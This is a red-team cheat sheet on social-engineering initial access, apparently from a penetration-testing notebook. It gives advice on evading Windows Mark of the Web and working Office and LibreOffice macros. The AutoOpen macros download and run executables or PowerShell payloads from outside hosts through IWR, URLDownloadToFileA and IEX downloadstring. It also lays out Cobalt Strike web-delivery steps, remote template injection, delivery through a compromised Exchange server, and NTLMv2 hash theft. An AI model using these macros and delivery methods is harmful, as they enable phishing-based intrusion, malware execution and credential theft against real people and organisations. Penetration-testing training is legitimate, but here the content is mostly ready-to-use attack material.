# Social Engineering

**MOTW (Mark of the Web)** is a metadata tag added by Windows to files downloaded from the internet. It’s stored as an Alternate Data Stream (Zone.Identifier) and tells the OS that the file came from an untrusted source (e.g., browser download, email attachment).

For Red Teamers, MOTW matters because it can trigger security features like SmartScreen, AMSI, or macro blocking in Office. Files marked with MOTW are more likely to be flagged, blocked, or require user interaction.

To increase payload execution success, it's crucial to **deliver files without MOTW**. Common ways to avoid it include:

* Using internal delivery methods (e.g., compromised Exchange, shared drives)
* Hosting files over SMB/WebDAV
* Packaging payloads in ZIPs without MOTW (e.g., ZIPs created locally or transferred via trusted channels)
* Using scripts or LOLBins that write the payload to disk without MOTW

Bottom line: **No MOTW = fewer defenses triggered = higher success rate.**

## Macros

### Macro for Libre Office

```visual-basic
REM  *****  BASIC  *****

Sub InitialAccess
	Shell("cmd /c powershell IWR -URI http://10.8.5.48:8081/http-vulnlabs-4444.exe -Outfile C:\Windows\Temp\http-vulnlabs-4444.exe")
	Shell("cmd /c 'C:\Windows\Temp\http-vulnlabs-4444.exe'")
End Sub
```

### Macro for MS Word

**Loader Bypass AV/EDR:** [bypass-av-edr-via-dinvoke-+-sliver](https://intrusionz3r0.gitbook.io/intrusionz3r0/windows-penetration-testing/defense-enumeration/bypass-av-edr-via-dinvoke-+-sliver "mention")

```visual-basic
Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" ( _
    ByVal pCaller As Long, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As Long) As Long

Private Declare PtrSafe Function WinExec Lib "kernel32" ( _
    ByVal lpCmdLine As String, _
    ByVal uCmdShow As Long) As Long

Sub AutoOpen()
    URLDownloadToFileA 0, "http://10.8.5.48/Loader.exe", "C:\Windows\system32\spool\drivers\color\Loader.exe", 0, 0
    WinExec "C:\Windows\system32\spool\drivers\color\Loader.exe", SHOW_HIDE
End Sub
```

## Word  Malicious Macro with Cobalt Strike

### Simple Macro

1. Create a blank document
2. View >  Macros > Select document
3. Generate a payload (Cobalt Strike Example for CRTO)  [RevShells.com](https://www.revshells.com/)
   1. Attacks > Scripted Web Delivery (S)
      1. Set URI Path
      2. Set Host (nickelviper.com)
      3. Set Port (80)
      4. Set Listener HTTP/DNS
      5. Set type: Powershell
      6. Enable Use X64 Payload
         1. Copy the payload and set it into the macro.

```vbnet
Sub AutoOpen()

  Dim Shell As Object
  Set Shell = CreateObject("wscript.shell")
	Shell.Run "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://nickelviper.com/a'))"""

End Sub
```

4. Save as `.doc` .
5. Send the file whether via email from a compromise Exchange to avoid the **MOTW** or any methods you want.

### Remote Template injection

1. Create a blank document
2. View >  Macros > Select document
3. Generate a payload (Cobalt Strike Example for CRTO)  [RevShells.com](https://www.revshells.com/)
   1. Attacks > Scripted Web Delivery (S)
      1. Set URI Path
      2. Set Host (nickelviper.com)
      3. Set Port (80)
      4. Set Listener HTTP/DNS
      5. Set type: Powershell
      6. Enable Use X64 Payload
         1. Copy the payload and set it into the macro.

```vbnet
Sub AutoOpen()

  Dim Shell As Object
  Set Shell = CreateObject("wscript.shell")
	Shell.Run "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://nickelviper.com/a'))"""

End Sub
```

4. Save as `.dot` .
5. Host the file (python server|Cobalt Striket Server)
6. Create a new black template
   1. Save as `.docx`&#x20;
7. By using 1-zip click on file
   1. Go to Word > \_*rels > settings.xml.rels*
      1. Modify the `target`  parameter within the `settings.xml.rels` file with the `.dot` file you created before and is hosted.
8. Send the file whether via email from a compromise Exchange to avoid the **MOTW** or any methods you want.

{% embed url="<https://github.com/albatux/OSCP-Cheatsheets/blob/master/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros.md>" %}

### Capturing NTLMv2 Hashes

If you see you possess Write permission over public SMB share in your target domain or you see the website accepts uploading files you could use tools such as ntlm\_theft to create a malicious files and steal NTLMv2 Hash

{% embed url="<https://github.com/Greenwolf/ntlm_theft>" %}

Some places to steal NTLMV2 Hashes

{% embed url="<https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/#google_vignette>" %}
